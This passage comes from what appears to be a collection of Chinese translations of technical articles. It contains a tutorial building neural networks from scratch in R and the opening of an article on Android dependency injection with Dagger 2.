R-notebook，通过解决一系列的数学和编程问题直至了解深度神经网络（DNN）。希望能够借此展示出来，你所需学习的新知识其实只有很少的一部分。\n\n![](https://cdn-images-1.medium.com/max/800/1*nzwaX3XqlaRGAf0kpN9ShA.png)\n\n**笔记**\n\n[https://github.com/ilkarman/DemoNeuralNet/blob/master/01_LinearRegression.ipynb](https://github.com/ilkarman/DemoNeuralNet/blob/master/01_LinearRegression.ipynb)\n[https://github.com/ilkarman/DemoNeuralNet/blob/master/02_LogisticRegression.ipynb](https://github.com/ilkarman/DemoNeuralNet/blob/master/02_LogisticRegression.ipynb)\n[https://github.com/ilkarman/DemoNeuralNet/blob/master/03_NeuralNet.ipynb](https://github.com/ilkarman/DemoNeuralNet/blob/master/03_NeuralNet.ipynb)\n[https://github.com/ilkarman/DemoNeuralNet/blob/master/04_Convolutions.ipynb](https://github.com/ilkarman/DemoNeuralNet/blob/master/04_Convolutions.ipynb)\n\n### **一、线性回归（[见笔记(github-ipynb)](https://github.com/ilkarman/DemoNeuralNet/blob/master/01_LinearRegression.ipynb)）**  \n\n![](https://cdn-images-1.medium.com/freeze/max/30/1*OqXD5Z73f433hLfoMEYqyg.jpeg?q=20)<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*OqXD5Z73f433hLfoMEYqyg.jpeg\">\n\n在 R 中解决最小二乘法的计算器的闭包解决方案只需如下几行：\n\n    # Matrix of explanatory variables\n    X <- as.matrix(X)\n    # Add column of 1s for intercept coefficient\n    intcpt <- rep(1, length(y))\n    # Combine predictors with intercept\n    X <- cbind(intcpt, X)\n    # OLS (closed-form solution)\n    beta_hat <- solve(t(X) %*% X) %*% t(X) %*% y\n\n变量 beta_hat 所形成的向量包含的数值，定义了我们的“机器学习模型”。线性回归是用来预测一个连续的变量的（例如：这架飞机会延误多久）。在预测分类的时候（例如：这架飞机会延误吗-会/不会），我们希望我们的预测能够落在0到1之间，这样我们可以将其转换为各个种类的事件发生的可能性（根据所给的数据）。\n\n当我们只有两个互斥的结果时我们将使用一个二项逻辑回归。当候选结果（或者分类）多于两个时，即多项互斥（例如：这架飞机延误时间可能在5分钟内、5-10分钟或多于10分钟），我们将使用多项逻辑回归（或者“Softmax 回归”）（译者注：Softmax 函数是逻辑函数的一种推广，更多知识见[知乎](https://www.zhihu.com/question/23765351)）。在这种情况下许多类别不是互斥的（例如：这篇文章中的“R”，“神经网络”和“统计学”），我们可以采用二项式逻辑回归（译者注：不是二项逻辑回归）。\n\n另外，我们也可以用[梯度下降（GD）](https://en.wikipedia.org/wiki/Gradient_descent)这种迭代法来替代我们上文提到的闭包方法。整个过程如下：\n\n- 从随机地猜测权重开始\n- 将所猜测的权重值代入损失函数中\n- 将猜测值移向梯度的相反方向移动一小步（即我们所谓的“学习频率”）\n- 重复上述步骤 N 次\n\nGD 仅仅使用了 [Jacobian](https://en.wikipedia.org/wiki/Jacobian_matrix_and_determinant) 矩阵 (而不是 [Hessian](https://en.wikipedia.org/wiki/Hessian_matrix) 矩阵)，不过我们知道， 当我们的损失函数为凸函数时，所有的极小值即（局部最小值）为（全局）最小值，因此 GD 总能够收敛至全局最小值。\n\n线性回归中所用的损失函数是均方误差函数：\n\n![](https://cdn-images-1.medium.com/max/800/1*RarCa--RxFLE29XXs62LsQ.jpeg)\n\n要使用 GD 方法我们只需要找出 beta_hat 的偏导数（即 'delta'/梯度）\n\n在 R 中实现方法如下：\n\n    # Start with a random guess\n    beta_hat <- matrix(0.1, nrow=ncol(X_mat))\n      # Repeat below for N-iterations\n      for (j in 1:N)\n      {\n        # Calculate the cost/error (y_guess - y_truth)\n        residual <- (X_mat %*% beta_hat) - y\n        # Calculate the gradient at that point\n        delta <- (t(X_mat) %*% residual) * (1/nrow(X_mat))\n        # Move guess in opposite direction of gradient\n        beta_hat <- beta_hat - (lr*delta)\n      }\n\n200次的迭代之后我们会得到和闭包方法一样的梯度与参数。除了这代表着我们的进步意外（我们使用了 GD），这个迭代方法在当闭包方法因矩阵过大，而无法计算矩阵的逆的时候，也非常有用（因为有内存的限制）。\n\n### **第二步 - 逻辑回归 (**[**见笔记(github-ipynb)**](https://github.com/ilkarman/DemoNeuralNet/blob/master/02_LogisticRegression.ipynb)**)**\n\n![](https://cdn-images-1.medium.com/max/800/1*MNQueiCKMXqP6V5V5AvN3w.jpeg)\n\n逻辑回归即一种用来解决二项分类的线性回归方法。它与标准的线性回归主要的两种不同在于：\n\n1. 我们使用一种称为 logistic-sigmoid 的 ‘激活’/链接函数来将输出压缩至 0 到 1 的范围内\n2. 不是最小化损失的方差而是最小化伯努利分布的负对数似然\n\n其它的都保持不变。\n\n我们可以像这样计算我们的激活函数：\n\n    sigmoid <- function(z){1.0/(1.0+exp(-z))}\n\n我们可以在 R 中这样创建对数似然函数：\n\n    log_likelihood <- function(X_mat, y, beta_hat)\n    {\n      scores <- X_mat %*% beta_hat\n      ll <- (y * scores) - log(1+exp(scores))\n      sum(ll)\n    }\n\n这个损失函数（逻辑损失或对数损失函数）也叫做交叉熵损失。交叉熵损失根本上来讲是对“意外”的一种测量，并且会成为所有接下来的模型的基础，所以值得多花一些时间。\n\n如果我们还像以前一样建立最小平方损失函数，由于我们目前拥有的是一个非线性激活函数（sigmoid），那么损失函数将因不再是凸函数而使优化变得困难。\n\n![](https://cdn-images-1.medium.com/max/800/1*RarCa--RxFLE29XXs62LsQ.jpeg)\n\n我们可以为两个分类设立自己的损失函数。当 y=1 时，我们希望我们的损失函数值在预测值接近0的时候变得非常高，在接近1的时候变得非常低。当 y=0 时，我们所期望的与之前恰恰相反。这导致了我们有了如下的损失函数：\n\n![](https://cdn-images-1.medium.com/max/800/1*Nj7sNRh1aufj8OVePHbOWA.jpeg)\n\n这里的损失函数中的 delta 与我们之前的线性回归中的 delta 非常相似。唯一的不同在于我们在这里将 sigmoid 函数也应用在了预测之中。这意味着逻辑回归中的梯度下降函数也会看起来很相似：\n\n    logistic_reg <- function(X, y, epochs, lr)\n    {\n      X_mat <- cbind(1, X)\n      beta_hat <- matrix(1, nrow=ncol(X_mat))\n      for (j in 1:epochs)\n      {\n        # For a linear regression this was:\n        # 1*(X_mat %*% beta_hat) - y\n        residual <- sigmoid(X_mat %*% beta_hat) - y\n        # Update weights with gradient descent\n        delta <- t(X_mat) %*% as.matrix(residual, ncol=nrow(X_mat)) *  (1/nrow(X_mat))\n        beta_hat <- beta_hat - (lr*delta)\n      }\n      # Print log-likliehood\n      print(log_likelihood(X_mat, y, beta_hat))\n      # Return\n      beta_hat\n    }\n\n### **三、Softmax 回归函数（无笔记）**\n\n![](https://cdn-images-1.medium.com/max/800/1*yTtVwA4kNcKEM4ETIJwdcQ.jpeg)\n\n逻辑回归的推广即为多项逻辑回归（也称为 ‘softmax 函数’），是对两项以上的分类进行预测的。我尚未在 R 中建立这个例子，因为下一步的神经网络中也有一些东西简化之后与之相似，然而为了完整起见，如果你仍然想要创建它的话，我还是要强调一下这里主要的不同。\n\n首先，我们不再用 sigmoid 函数来讲我们所得的值压缩在 0 至 1 之间：\n\n![](https://cdn-images-1.medium.com/max/800/1*aTpB9Ibo-RbemepyDvfYbQ.png)\n\n我们用 softmax 函数来将 n 个值的和压缩至 1：\n\n![](https://cdn-images-1.medium.com/max/800/1*fkB_2c-KYd_tqzo6A9dZEw.png)\n\n这样意味着每个类别所得的值，可以根据所给的条件，被转化为该类的概率。同时也意味着当我们希望提高某一分类的权重来提高它所获得的概率的时候，其它分类的出现概率会有所下降。也就是说，我们的各个类别是互斥的。\n\n其次，我们使用一个更加通用的交叉熵损失函数：\n\n![](https://cdn-images-1.medium.com/max/800/1*iJWZqkYxBTXwyotU2daAmQ.jpeg)\n\n要想知道为什么-记住对于二项分类（如之前的例子）我们有两个类别：j = 2，在每个类别是互斥的，a1 + a2 = 1 且 y 是[一位有效编码（one-hot）](https://www.quora.com/What-is-one-hot-encoding-and-when-is-it-used-in-data-science)所以 y1+y2=1，我们可以将通用公式重写为：\n（译者注：one-hot是将分类的特征转化为更加适合分类和回归算法的数据格式（Quora-Håkon Hapnes Strand），[中文资料可见此](http://blog.csdn.net/google19890102/article/details/44039761)）\n\n![](https://cdn-images-1.medium.com/max/800/1*M_zxupHutdBfXE0pg_ZkRg.jpeg)\n\n这与我们刚开始的等式是相同的。然而，我们现在将 j=2 的条件放宽。这里的交叉熵损失函数可以被看出来有着与二项分类的逻辑输出的交叉熵有着相同的梯度。\n\n![](https://cdn-images-1.medium.com/max/800/1*l9Vq97wHTVOBVJisti21-Q.png)\n\n然而，即使梯度有着相同的公式，也会因为激活函数代入了不同的值而不一样（用了 softmax 而不是逻辑中的 sigmoid）。\n\n在大多数的深度学习框架中，你可以选择‘二项交叉熵（binary_crossentropy）’或者‘分类交叉熵（categorical_crossentropy）’损失函数。这取决于你的最后一层神经包含的是 sigmoid 还是 softmax 激活函数，相对应着，你可以选择‘二项交叉熵（binary_crossentropy）’或者‘分类交叉熵（categorical_crossentropy）’。而由于梯度相同，神经网络的训练并不会被影响，然而所得到的损失（或评测值）会由于搞混它们而错误。\n\n之所以要涉及到 softmax 是因为大多数的神经网络，会在各个类别互斥的时候，用 softmax 层作为最后一层（读出层），用多项交叉熵（也叫分类交叉熵）损失函数，而不是用 sigmoid 函数搭配二项交叉熵损失函数。尽管多项 sigmoid 也可以用于多类别分类（并且会被用于下个例子中），但这总体上仅用于多项不互斥的时候。有了 softmax 作为输出，由于输出的和被限制为 1，我们可以直接将输出转化为概率。\n\n### **四、神经网络（**[**见笔记(github-ipynb)**]((https://github.com/ilkarman/DemoNeuralNet/blob/master/03_NeuralNet.ipynb))**）**\n\n![](https://cdn-images-1.medium.com/max/800/1*j1cC_Uh46f_wlLpBzkoYsQ.jpeg)\n\n一个神经网络可以被看作为一系列的逻辑回归堆叠在一起。这意味着我们可以说，一个逻辑回归实际上是一个（带有 sigmoid 激活函数）无隐藏层的神经网络。\n\n隐藏层，使神经网络具有非线性且导致了用于[通用近似定理](https://en.wikipedia.org/wiki/Universal_approximation_theorem)所描述的特性。该定理声明，一个神经网络和一个隐藏层可以逼近任何线性或非线性的函数。而隐藏层的数量可以扩展至上百层。\n\n如果将神经网络看作两个东西的结合会很有用：1）很多的逻辑回归堆叠在一起形成‘特征生成器’ 2）一个 softmax 回归函数构成的单个读出层。近来深度学习的成功可归功于‘特征生成器’。例如：在以前的计算机视觉领域，我们需要痛苦地声明我们需要找到各种长方形，圆形，颜色和结合方式（与经济学家们如何决定哪些相互作用需要用于线性回归中相似）。现在，隐藏层是对决定哪个特征（哪个‘相互作用’）需要提取的优化器。很多的深度学习实际上是通过用一个训练好的模型，去掉读出层，然后用那些特征作为输入（或者是促进决策树（boosted decision-trees））来生成的。\n\n隐藏层同时也意味着我们的损失函数在参数中不是一个凸函数，我们不能够通过一个平滑的山坡来到达底部。我们会用随机梯度下降（SGD）而不是梯度下降（GD），不像我们之前在逻辑回归中做的一样，这样基本上在每一次小批量（mini-batch）（比观察总数小很多）被在神经网络中传播后都会重编观察（随机）并更新梯度。[这里](http://sebastianruder.com/optimizing-gradient-descent)有很多 SGD 的替代方法，Sebastian Ruder 为我们做了很多工作。我认为这确实是个迷人的话题，不过却超出这篇博文所讨论的范围了，很遗憾。简要来讲，大多数优化方法是一阶的（包括 SGD，Adam，RMSprop和 Adagrad）因为计算二阶函数的计算难度过高。然而，一些一阶方法有一个固定的学习频率（SGD）而有一些拥有适应性学习频率（Adam），这意味着我们通过成为损失函数所更新权重的‘数量’-将会在开始有巨大的变化而随着我们接近目标而逐渐变小。\n\n需要弄清楚的一点是，最小化训练数据上的损失并非我们的主要目标-理论上我们希望最小化‘不可见的’（测试）数据的损失；因此所有的优化方法都代表着已经一种假设之下，即训练数据的低损失会以同样的（损失）分布推广至‘新’的数据。这意味着我们可能更青睐于一个有着更高的训练数据损失的神经网络；因为它在验证数据上的损失很低（即那些未曾被用于训练的数据）-我们则会说该神经网络在这种情况下‘过度拟合’了。这里有一些近期的[论文](https://arxiv.org/abs/1705.08292)声称，他们发现了很多很尖的最小值点，所以适应性优化方法并不像 SGD 一样能够很好的推广。（译者注：即算法在一些验证数据中表现地出奇的差）\n\n之前我们需要将梯度反向传播一层，现在一样，我们也需要将其反向传播过所有的隐藏层。关于反向传播算法的解释，已经超出了本文的范围，然而理解这个算法却是十分必要的。这里有一些不错的[资源](http://neuralnetworksanddeeplearning.com/chap2.html)可能对各位有所帮助。\n\n我们现在可以在 Scratch 平台上用 R 通过四个函数建立一个神经网络了。\n\n1. 我们首先初始化权重：\n    \n\tneuralnetwork <- function(sizes, training_data, epochs, mini_batch_size, lr, C, verbose=FALSE, validation_data=training_data)\n\n由于我们将参数进行了复杂的结合，我们不能简单地像以前一样将它们初始化为 1 或 0，神经网络会因此而在计算过程中卡住。为了防止这种情况，我们采用高斯分布（不过就像那些优化方法一样，这也有许多其他的方法）：\n\n    biases <- lapply(seq_along(listb), function(idx){\n        r <- listb[[idx]]\n        matrix(rnorm(n=r), nrow=r, ncol=1)\n        })\n\n    weights <- lapply(seq_along(listb), function(idx){\n        c <- listw[[idx]]\n        r <- listb[[idx]]\n        matrix(rnorm(n=r*c), nrow=r, ncol=c)\n        })\n\n2. 我们使用随机梯度下降（SGD）作为我们的优化方法：\n\n    \n    \tSGD <- function(training_data, epochs, mini_batch_size, lr, C, sizes, num_layers, biases, weights,verbose=FALSE, validation_data)\n    \t{\n    \t  # Every epoch\n    \t  for (j in 1:epochs){\n    \t# Stochastic mini-batch (shuffle data)\n    \ttraining_data <- sample(training_data)\n    \t# Partition set into mini-batches\n    \tmini_batches <- split(training_data,\n    \t  ceiling(seq_along(training_data)/mini_batch_size))\n    \t# Feed forward (and back) all mini-batches\n    \tfor (k in 1:length(mini_batches)) {\n    \t  # Update biases and weights\n    \t  res <- update_mini_batch(mini_batches[[k]], lr, C, sizes, num_layers, biases, weights)\n    \t  biases <- res[[1]]\n    \t  weights <- res[[-1]]\n    \t}\n    \t  }\n    \t  # Return trained biases and weights\n    \t  list(biases, weights)\n    \t}\n    \n\n3. 作为 SGD 方法的一部分，我们更新了\n\t    \n\t    update_mini_batch <- function(mini_batch, lr, C, sizes, num_layers, biases, weights)\n\t    {\n\t      nmb <- length(mini_batch)\n\t      listw <- sizes[1:length(sizes)-1]\n\t      listb <-  sizes[-1]\n\t    \n\t    # Initialise updates with zero vectors (for EACH mini-batch)\n\t      nabla_b <- lapply(seq_along(listb), function(idx){\n\t    r <- listb[[idx]]\n\t    matrix(0, nrow=r, ncol=1)\n\t      })\n\t      nabla_w <- lapply(seq_along(listb), function(idx){\n\t    c <- listw[[idx]]\n\t    r <- listb[[idx]]\n\t    matrix(0, nrow=r, ncol=c)\n\t      })\n\t    \n\t    # Go through mini_batch\n\t      for (i in 1:nmb){\n\t    x <- mini_batch[[i]][[1]]\n\t    y <- mini_batch[[i]][[-1]]\n\t    # Back propagation will return delta\n\t    # Backprop for each observation in mini-batch\n\t    delta_nablas <- backprop(x, y, C, sizes, num_layers, biases, weights)\n\t    delta_nabla_b <- delta_nablas[[1]]\n\t    delta_nabla_w <- delta_nablas[[-1]]\n\t    # Add on deltas to nabla\n\t    nabla_b <- lapply(seq_along(biases),function(j)\n\t      unlist(nabla_b[[j]])+unlist(delta_nabla_b[[j]]))\n\t    nabla_w <- lapply(seq_along(weights),function(j)\n\t      unlist(nabla_w[[j]])+unlist(delta_nabla_w[[j]]))\n\t      }\n\t      # After mini-batch has finished update biases and weights:\n\t      # i.e. weights = weights - (learning-rate/numbr in batch)*nabla_weights\n\t      # Opposite direction of gradient\n\t      weights <- lapply(seq_along(weights), function(j)\n\t    unlist(weights[[j]])-(lr/nmb)*unlist(nabla_w[[j]]))\n\t      biases <- lapply(seq_along(biases), function(j)\n\t    unlist(biases[[j]])-(lr/nmb)*unlist(nabla_b[[j]]))\n\t      # Return\n\t      list(biases, weights)\n\t    }\n\n4. 我们用来计算 delta 的算法是反向传播算法。\n\n在这个例子中我们使用交叉熵损失函数，产生了以下的梯度：\n\n    cost_delta <- function(method, z, a, y) {if (method=='ce'){return (a-y)}}\n\n同时，为了与我们的逻辑回归例子保持连续，我们在隐藏层和读出层上使用 sigmoid 激活函数：\n\n    # Calculate activation function\n        sigmoid <- function(z){1.0/(1.0+exp(-z))}\n        # Partial derivative of activation function\n        sigmoid_prime <- function(z){sigmoid(z)*(1-sigmoid(z))}\n\n如之前所说，一般来讲 softmax 激活函数适用于读出层。对于隐藏层，[线性整流函数（ReLU）](https://en.wikipedia.org/wiki/Rectifier_%28neural_networks%29)更加地普遍，这里就是最大值函数（负数被看作为0）。隐藏层使用的激活函数可以被想象为一场扛着火焰同时保持它（梯度）不灭的比赛。sigmoid 函数在0和1处平坦化，成为一个平坦的梯度，相当于火焰的熄灭（我们失去了信号）。而线性整流函数（ReLU）帮助保存了这个梯度。\n\n反向传播函数被定义为：\n\n    backprop <- function(x, y, C, sizes, num_layers, biases, weights)\n\n请在笔记中查看完整的代码-然而原则还是一样的：我们有一个正向传播，使得我们在网络中将权重传导过所有神经层，并产生预测值。然后将预测值代入损失梯度函数中并将所有神经层中的权重更新。\n\n这总结了神经网络的建成（搭配上你所需要的尽可能多的隐藏层）。将隐藏层的激活函数换为 ReLU\n函数，读出层换为 softmax 函数，并且加上 L1 和 L2 的归一化，是一个不错的练习。把它在笔记中的 [iris 数据集](http://scikit-learn.org/stable/auto_examples/datasets/plot_iris_dataset.html)跑一遍，只用一个隐藏层，包含40个神经元，我们就可以在大概30多回合训练后得到一个96%精确度的神经网络。\n\n笔记中还提供了一个100个神经元的[手写识别系统](http://yann.lecun.com/exdb/mnist/)的例子，来根据28*28像素的图像预测数字。\n\n### **五、卷积神经网络（**[**见笔记(https://github.com/ilkarman/DemoNeuralNet/blob/master/04_Convolutions.ipynb)**]**）**\n\n![](https://cdn-images-1.medium.com/max/800/1*1-jeLcRrMSoUEL9YTMYpCw.jpeg)\n\n在这里，我们只会简单地测试卷积神经网络（CNN）中的**正向传播**。CNN 首次受到关注是因为1998年的[LeCun的精品论文](http://yann.lecun.com/exdb/publis/pdf/lecun-98b.pdf)。自此之后，CNN 被证实是在图像、声音、视频甚至文字中最好的算法。\n\n图像识别开始时是一个手动的过程，研究者们需要明确图像的哪些比特（特征）对于识别有用。例如，如果我们希望将一张图片归类进‘猫’或‘篮球’，我们可以写一些代码提取出颜色（如篮球是棕色）和形状（猫有着三角形耳朵）。这样我们或许就可以在这些特征上跑一个线性回归，来得到三角形个数和图像是猫还是树的关系。这个方法很受图片的大小、角度、质量和光线的影响，有很多问题。[规模不变的特征变换(SIFT)](https://en.wikipedia.org/wiki/Scale-invariant_feature_transform) 在此基础上做了大幅提升并曾被用来对一个物体提供‘特征描述’，这样可以被用来训练线性回归（或其他的关系型学习器）。然而，这个方法有个一成不变的规则使其不能被为特定的领域而优化。\n\nCNN 卷积神经网络用一种很有趣的方式看待图像（提取特征）。开始时，他们只观察图像的很小一部分（每次），比如说一个大小为 5*5 像素的框（一个过滤器）。2D 用于图像的卷积，是将这个框扫遍整个图像。这个阶段会专门用于提取颜色和线段。然而，下一个神经层会转而关注之前过滤器的结合，因而‘放大来观察’。在一定数量的层数之后，神经网络会放的足够大而能识别出形状和更大的结构。\n\n这些过滤器最终会成为神经网络需要去学习、识别的‘特征’。接着，它就可以通过统计各个特征的数量来识别其与图像标签（如‘篮球’或‘猫’）的关系。这个方法看起来对图片来讲很自然-因为它们可以被拆成小块来描述（它们的颜色，纹理等）。CNN 看起来在图像分形特征分析方面会蓬勃发展。这也意味着它们不一定适合其他形式的数据，如 excel 工作单中就没有固有的样式：我们可以改变任意几列的顺序而数据还是一样的——不过在图像中交换像素点的位置就会导致图像的改变。\n\n在之前的例子中我们观察的是一个标准的神经网络对手写字体的归类。在神经网络中的 i 层的每个神经元，与 j 层的每个神经元相连-我们所框中的是整个图像（译者注：与 CNN 之前的 5*5 像素的框不同）。这意味着如果我们学习了数字 2 的样子，我们可能无法在它被错误地颠倒的时候识别出来，因为我们只见过它正的样子。CNN 在观察数字 2 的小的比特时并且在比较样式的时候有很大的优势。这意味着很多被提取出的特征对各种旋转，歪斜等是免疫的（译者注：即适用于所有变形）。对于更多的细节，Brandon 在[这里](https://www.youtube.com/watch?v=FmpDIaiMIeA)解释了什么是真正的 CNN。\n\n我们在 R 中如此定义 2D 卷积函数：\n\n    convolution <- function(input_img, filter, show=TRUE, out=FALSE)\n    {\n      conv_out <- outer(\n        1:(nrow(input_img)-kernel_size[[1]]+1),\n        1:(ncol(input_img)-kernel_size[[2]]+1),\n        Vectorize(function(r,c) sum(input_img[r:(r+kernel_size[[1]]-1),\n                                              c:(c+kernel_size[[2]]-1)]*filter))\n      )\n    }\n\n并用它对一个图片应用了一个 3*3 的过滤器：\n\n    conv_emboss <- matrix(c(2,0,0,0,-1,0,0,0,-1), nrow = 3)\n    convolution(input_img = r_img, filter = conv_emboss)\n\n你可以查看笔记来看结果，然而这看起来是从图片中提取线段。否则，卷积可以‘锐化’一张图片，就像一个3*3的过滤器：\n\n    conv_sharpen <- matrix(c(0,-1,0,-1,5,-1,0,-1,0), nrow = 3)\n    convolution(input_img = r_img, filter = conv_sharpen)\n\n很显然我们可以随机地随机地初始化一些个数的过滤器（如：64个）：\n\n    filter_map <- lapply(X=c(1:64), FUN=function(x){\n        # Random matrix of 0, 1, -1\n        conv_rand <- matrix(sample.int(3, size=9, replace = TRUE), ncol=3)-2\n        convolution(input_img = r_img, filter = conv_rand, show=FALSE, out=TRUE)\n    })\n\n我们可以用以下的函数可视化这个 map：\n\n    square_stack_lst_of_matricies <- function(lst)\n    {\n        sqr_size <- sqrt(length(lst))\n        # Stack vertically\n        cols <- do.call(cbind, lst)\n        # Split to another dim\n        dim(cols) <- c(dim(filter_map[[1]])[[1]],\n                       dim(filter_map[[1]])[[1]]*sqr_size,\n                       sqr_size)\n        # Stack horizontally\n        do.call(rbind, lapply(1:dim(cols)[3], function(i) cols[, , i]))\n    }\n\n![](https://cdn-images-1.medium.com/max/800/1*s-TR-n5n2-4ZwwZ962X3LQ.png)\n\n在运行这个函数的时候我们意识到了整个过程是如何地高密度计算（与标准的全连接神经层相比）。如果这些 feature-map 不是那些那么有用的集合（也就是说，很难在此时降低损失）然后反向传播会意味着我们将会得到不同的权重，与不同的 feature-map 相关联，对于进行的聚类很有帮助。\n\n\n很明显的我们将卷积建立在其他的卷积中（而且因此需要一个深度网络）所以线段构成了形状而形状构成了鼻子，鼻子构成了脸。测试一些训练的网络中的[feature map](https://adeshpande3.github.io/assets/deconvnet.png)来看看神经网络实际学到了什么也是一件有趣的事。\n\n### References\n\n[http://neuralnetworksanddeeplearning.com/](http://neuralnetworksanddeeplearning.com/)\n\n[https://www.youtube.com/user/BrandonRohrer/videos](https://www.youtube.com/user/BrandonRohrer/videos)\n\n[http://colah.github.io/posts/2014-07-Conv-Nets-Modular/](http://colah.github.io/posts/2014-07-Conv-Nets-Modular/)\n\n[https://houxianxu.github.io/2015/04/23/logistic-softmax-regression/](https://houxianxu.github.io/2015/04/23/logistic-softmax-regression/)\n\n[https://www.ics.uci.edu/~pjsadows/notes.pdf](https://www.ics.uci.edu/~pjsadows/notes.pdf)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/new-android-injector-with-dagger-2-part-1.md",
    "content": "> * 原文地址：[New Android Injector with Dagger 2 — part 1](https://medium.com/@iammert/new-android-injector-with-dagger-2-part-1-8baa60152abe)\n> * 原文作者：[Mert Şimşek](https://medium.com/@iammert?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-1.md)\n> * 译者：[MummyDing](https://github.com/MummyDing)\n> * 校对者：[LeviDing](https://github.com/leviding)\n\n# 全新 Android 注入器：Dagger 2（一）\n\n![](https://cdn-images-1.medium.com/max/2000/1*mUOY8duji6LKT9dKFpDvoA.jpeg)\n\n- [New Android Injector with Dagger 2 — part 1](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-1.md)\n- [New Android Injector with Dagger 2 — part 2](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-2.md)\n- [New Android Injector with Dagger 2 — part 3](https://github.com/xitu/gold-miner/blob/master/TODO/new-android-injector-with-dagger-2-part-3.md)\n\nDagger 2.10 新增了 Android Support 和 Android Compiler 两大模块。对我们来说，本次改动非常之大，所有 Android 开发者都应尽早尝试使用这个新的 Android 依赖注入框架。\n\n在我开始介绍新的 AndroidInjector 类以及 Dagger 2.11 库之前，如果你对 Dagger 2 还不熟悉甚至之前根本没用过，那我强烈建议你先去看看 Dagger 入门指南，弄清楚什么是依赖注入。为什么这么说呢？因为 Android Dagger 涉及到大量注解，学起来会比较吃力。在我看来，学 Android Dagger 之前你最好先去学学 Dagger 2 和依赖注入。这里有一篇关于依赖注入的入门文章 [Blog 1](https://blog.mindorks.com/introduction-to-dagger-2-using-dependency-injection-in-android-part-1-223289c2a01b) 以及一篇关于 Dagger 2 的文章 [Blog 2](https://blog.mindorks.com/introduction-to-dagger-2-using-dependency-injection-in-android-part-2-b55857911bcd)。\n\n### 老用法\n\nDagger 2.10 之前，Dagger 2 是这样用的：\n\n```java\n((MyApplication) getApplication())        \n.getAppComponent()        \n.myActivity(new MyActivityModule(userId))       \n.build()        \n.inject(this);\n```\n\n这会有什么问题呢？我们想用依赖注入，但是依赖注入的核心原则是什么？\n\n> **一个类不应该关心它是如何被注入的**\n\n因此我们必须把这些 Builder 方法和 Module 实例创建部分去掉。\n\n### **示例工程**\n\n我创建的[示例工程](https://github.com/iammert/dagger-android-injection/tree/master)中没做什么，我想让它尽可能地简单。它里面仅包含 `MainActivity` 和 `DetailActivity` 两个 Activity，它们都注入到了相应的 Presenter 实现类并且请求了网络接口（并不是真的发起了 HTTP 请求，我只是写了一个**假方法**）。\n\n### 准备工作\n\n在 build.gradle 中加入以下依赖：\n\n```\ncompile 'com.google.dagger:dagger:2.11-rc2'\nannotationProcessor 'com.google.dagger:dagger-compiler:2.11-rc2'\ncompile 'com.google.dagger:dagger-android-support:2.11-rc2'\n```\n\n### **工程包结构**\n\n![](https://cdn-images-1.medium.com/max/600/1*DxXk2aFznom6sWQWwsjUpg.png)\n\n`Application` 类利用 `AppComponent` 构建了一张图谱。`AppComponent` 类的头部都被加上 **@Component** 注解，当 `AppComponent` 利用它的 Module 进行构建的时候，我们将得到一张拥有所有所需实例对象的图谱。举个例子，当 App Module 提供了` ApiService`，我们在构建拥有 App Module 的 Component 时将会得到 `ApiService` 实例对象。\n\n如果我们想将 Activity 加入到 Dagger 图谱中从而能够直接从父 Compponent 直接获取所需实例，我们只需简单地将 Activity 加上 **@Subcomponent** 注解即可。在我们的示例中，`DetailActivityComponent` 和 `MainActivityComponent` 类都被加上了 **@Subcomponent** 注解。最后我们还有一个必需步骤，我们需要告诉父 Component 相关的子 Component 信息，因此所有的根 Compponent 都能知道它所有的子 Component。\n\n先别着急，我后面会解释 **@Subcomponent**，**@Component** 以及 `DispatchActivity` 都是什么的。现在只是想让你对 **@Component** 和 **@Subcomponent** 有一个大概了解。\n\n#### **@Component and @Component.Builder**\n\n```\n**@Component**(modules = {\n        AndroidInjectionModule.class,\n        AppModule.class,\n        ActivityBuilder.class})\npublic interface AppComponent {\n\n    **@Component.Builder**\n    interface Builder {\n        **@BindsInstance** _Builder application(Application application);_\n        _AppComponent build();_\n    }\n\n    void inject(AndroidSampleApp app);\n}\n```\n\n**@Component：**Component 是一个图谱。当我们构建一个 Component时，Component 将利用 **Module** 提供被注入的实例对象。\n\n**@Component.Builder：**我们可能需要绑定一些实例对象到 Component 中，这种情况我们可以通过创建一个带 **@Component.Builder** 注解的接口，然后就可以向 builder 中任意添加我们想要的方法。在我的示例中，我想将 `Application` 加入到 `AppComponent`中。\n\n> 注意：如果你想为你的 **Component** 创建一个 Builder，那你的 Builder 接口中需要有一个返回类型为你所创建的 Component 的 `builder()` 方法。\n\n#### 注入 AppComponent\n\n```\nDaggerAppComponent\n        ._builder_()\n        **.application(this)**\n        .build()\n        .inject(this);\n```\n\n从上面的代码可以看出，我们将 Application 实例绑定到了 Dagger 图谱中。\n\n我想大家已经对 **@Component.Builder** 和 **@Component** 有了一定的认识，下面我想说说工程的结构。\n\n### Component/Module 结构\n\n使用 Dagger 的时候我们可以将 App 分为三层：\n\n* Application Component\n* Activity Components\n* Fragment Components\n\n#### **Application Component**\n\n```\n@Component(modules = {\n        AndroidInjectionModule.class,\n        AppModule.class,\n        ActivityBuilder.class})\npublic interface AppComponent {\n\n    @Component.Builder\n    interface Builder {\n        @BindsInstance Builder application(Application application);\n        AppComponent build();\n    }\n\n    void inject(AndroidSampleApp app);\n}\n```\n\n每个 Android 应用都有一个 `Application` 类，这就是为什么我也有一个 **Application Component** 的原因。这个 Component 表示是为应用层面提供实例的 （例如 OkHttp, Database, SharedPrefs）。这个 Component 是 Dagger 